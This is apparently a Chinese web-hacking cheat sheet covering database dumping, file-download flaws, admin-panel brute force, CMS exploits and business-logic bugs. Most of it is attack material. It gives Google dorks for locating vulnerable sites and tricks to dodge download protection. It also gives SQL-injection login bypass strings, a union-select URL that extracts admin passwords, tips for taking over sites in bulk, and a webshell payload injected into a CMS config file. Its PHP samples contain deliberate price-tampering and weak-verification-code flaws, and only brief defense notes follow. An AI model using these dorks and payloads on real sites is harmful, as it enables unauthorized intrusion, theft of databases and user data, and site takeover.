0x01 网站暴库漏洞
1. 简介
暴库,就是通过一些技术手段或者程序漏洞得到数据库的地址,并将数据非法下载到本地,黑客非常乐意于这种工作,为什么呢?因为黑客在得到网站数据库后,就能得到网站管理账号,对网站进行破坏与管理,黑客也能通过数据库得到网站用户的隐私信息,甚至得到服务器的最高权限。
2. 如何找到有漏洞的站点
- inurl:/inc/conn.asp (可以将/进行URL编码,即inc%5cconn.asp)
- inurl:/inc+conn.asp to parent directory
- intext:to parent directory
- inurl:/inc/conn.asp
- inurl:/inc+conn.asp
- 利用Google来搜索目录浏览的Google语法主要有:intitle、intext、inurl、site、filetype等等
- 搜索域名后缀,常见的域名后缀有:com、net、mil、org、info、gov、edu、biz、coop、areo、pro、int、arpa
3. 利用目录遍历漏洞
所有可以目录浏览的网页都有一些相同的地方,主要是下面几个:
- to parent directory
- last modified Description
- 转到父目录
4. 常见数据库暴库文件形式
-
access:data.mdb
-
sqlserver、mysql:数据库连接文件
5. 暴库绕过防下载
- #sdsf.mdb 下载时改为 %23sdsf.mdb
- #@!$%^&*asdfkladsf@!#.mdb 这些奇奇怪怪的符号都先进行URL编码再去访问,编码为:%23@%21%24%25%5E%26%2aasdfkladsf@%21%23.mdb
6. 高级语法暴库
- inurl:./..admin../..add..
- inurl:./..admin../..del..
- inurl:/.asp<id=<% <%<%
- intext:<%eval
- intitle:<%eval
0x02 下载漏洞
1. 可能存在漏洞的URL
一般在形如下面这些可以下载的链接处可能存在下载漏洞。
- http://xxxx/
- http://xxxx/shida/UploadFiles/indentAttFile/2012061222041778.doc
- http://xxxx/down.asp?fileup=shida/UploadFiles/indentAttFile/2012061222041778.doc
- http://xxxx/news/down.asp?FileName=doc/2012-5/2012053010329973.doc
2. 可以搜索一些关键词
- inurl:down.asp?fileup=
- inurl:down.asp?FileName=
3. 下载漏洞利用
- 通过蜘蛛爬行
- 找到该url
- 下载conn.asp、config.php、config.asp
- db.mdb
0x03 网站后台密码爆破
1. 简介
为了管理员方便管理网站,cms系统通常有管理员后台管理接口,该接口需要出示管理员账号密码,正确验证后方可登录。
2. 常见后台
- 织梦:dede
- discuz:admin.php
- 帝国:e/admin
- phpweb:admin.php
- WordPress:wp-admin
- aspcms:admin
- 科讯:admin
- 南方:admin
- 良精:admin
- ecshop:admin
- ……
还有manager、login_admin、login_manage、houtai、denglu等,从robots.txt中也可能看到。
0x04 弱口令猜解
1. 简介
管理员为了省事,可能会忽略掉网站后台密码的安全性,一般可能会设置一些初始密码或弱口令。
2. 猜解方法
- 常见初始密码弱口令:admin、admin888、admin123、123456、111、123、111111等等
- 逻辑万能秘钥
'or' = 'or'
admin' or 1=1 --
admin' or '1'='1
3. 常见工具
- burpsuite
- httpfuzzer(如果有验证码需要简单破解)
- ……
0x05 网站漏洞exp利用
1. 简介
exp是exploit(漏洞利用)的缩写,当我们cms出现漏洞的时候针对漏洞原理可以写出针对该漏洞的exploit,有的exp可以直接添加管理员、或者getshell、爆出管理员账号密码、数据库账号密码等等。
2. 收集途径
- 百度收集
- 与朋友探讨交流
- 利用工具直接exp
3. 批量拿站
关键字搜索,如:
- 有限公司–Powered by ASPCMS V2.0
- Powered by AspCms2
- Powered by AspCms2.0
- AspCms2.0
- Powere
关键字:inurl:newgoods.asp?action_key_order=news
利用方法:admin_shopxp/upLoad_bm.asp
关键字:
- inurl:/class/?1.html
- inurl:class/index.php?catid=0
- inurl:/page/html/?1.html
- inurl:news/html/?411/html(推荐)
- 默认后台地址:/admin.php
4. 注入地址
- down/class/index.php?myord=1
- news/class/index.php?showtag=
- 万能密钥 admin ‘or’1’=’1
5. 批量
搜索关键字:
- Powered by DedeCMS_V57_UTF8_SP1 2004-2011 DesDev Inc
- inurl:shopxp_news.asp
- TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201,2,admin%2password,4,5,6,7%20from%20shopxp_admin
0x06 常见CMS漏洞或其他漏洞
1. bluecms v1.6
- ad_js.php sql注入
- http头注入
- 编辑文件时文件包含
- 宽字节注入
2. tomcat
- 8009端口ajp漏洞
- manage.html文件包含漏洞
3. jboss
- 命令执行RCE
4. wordpress
- 外观(主题)编辑getshell
5. redis 4.x/5.x
- RCE远程命令执行
https://github.com/Ridter/redis-rce 需要python3.6版本以上,将input改为raw_input可以用python2.7运行
7. 魅力CMS
- 后台模板设置管理公司名称注入%><%eval request(cmd),保存后可以访问http://xxx.com/inc/config.asp处可以getshell
0x07 逻辑漏洞
1. 简介
逻辑漏洞挖掘一直是安全测试中“经久不衰”的话题。相比SQL注入、XSS漏洞等传统安全漏洞,现在的攻击者更倾向于利用业务逻辑层的应用安全问题,这类问题往往危害巨大,可能造成了企业的资产损失和名誉受损,并且传统的安全防御措施收效甚微。
在存在功能性的接口中,都有可能存在程序逻辑功能的安全问题,例如:支付外的任意金额修改。
2. 订单处逻辑漏洞
订单处的逻辑漏洞,大部分在于程序未能正确处理商品价格,数量等。
用户->购买商品->结账->成功购买
,那么在购买商品到结账之间如何获得商品的价格呢?
情况1、商品价格可以任意修改。
情况2、商品价格在后端存储,但是价格数量可以修改。例如:输入-1价格等。
- 订单处示例代码
<?php
if(isset($_POST["submit"])){
$num = $_POST["num"];
$price = $_POST["price"];
echo "需要支付: ".$num*$price."元";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>login price</title>
</head>
<body>
<h1>提交订单</h1>
<form method="post" action="">
手机名称:test
<br>
数量:<input type="text" name="num">
<br>
<input type="hidden" name="price" value="100">
<br>
<input type="submit" name="submit" value="确定">
</form>
</body>
</html>
- 逻辑漏洞防御
- 订单多重验证。
- 数额巨大采用人工验证。
3. 密码重置处逻辑漏洞
- 密码重置or密码找回区别
实际情况下,用户很可能长时间不使用该系统忘记了对应的用户密码,此时系统应该提供密码找回或修改功能。但是大多数提供的是密码重置,而非密码找回。
明文存储,这样才能找回密码
密文存储,由于加密是不可逆的,所以加密之后无法找回原来的明文密码,所以只能重置。
用户->重置模块->发送验证码
,验证身份->成功重置
如果验证码是一个弱数字。
- 密码重置处逻辑漏洞
如果手机验证码或邮箱验证码为一个4位数,且没有机制来验证输入次数,那么此时存在被破解的风险。
<?php
//$code = rand(0,9) . rand(0,9) . rand(0,9) . rand(0,9);
$code = 1234;
echo $code;
if (isset($_POST["submit"])) {
if ($_POST["code"] == $code) {
echo "修改成功";
}else{
echo "验证码错误";
}
}
?>
- 逻辑漏洞防御
- 设置复杂验证码 例如6位数字
- 设置限制次数,比如3次输入错误需要重置验证码 或者 设置时间1分钟有效等。